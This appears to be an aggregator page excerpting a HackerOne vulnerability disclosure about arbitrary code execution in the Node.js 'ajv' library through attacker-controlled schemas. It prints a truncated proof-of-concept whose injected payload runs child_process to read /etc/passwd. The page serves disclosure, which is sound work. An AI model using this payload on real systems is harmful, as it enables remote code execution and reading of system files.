Arbitrary code execution via untrusted schemas in ajv
该报告还没有中文解读。
原文摘录
摘自原文(1532 字符中的一小部分)
I would like to report an arbitrary code execution vulnerability in `ajv`. It allows to execute arbitrary code if an attacker-controlled schema is passed to the module.
原文中的代码
const ajv = require('ajv')({})
const payload = "(console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`)),process.exit(0))"
const schemaJSON =`
{
"properties": {
"){}}};${payload};return validate//": {
"allOf": [{}]
}
}
}
` …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @chalker · 版权归作者与 Node.js third-party modules 所有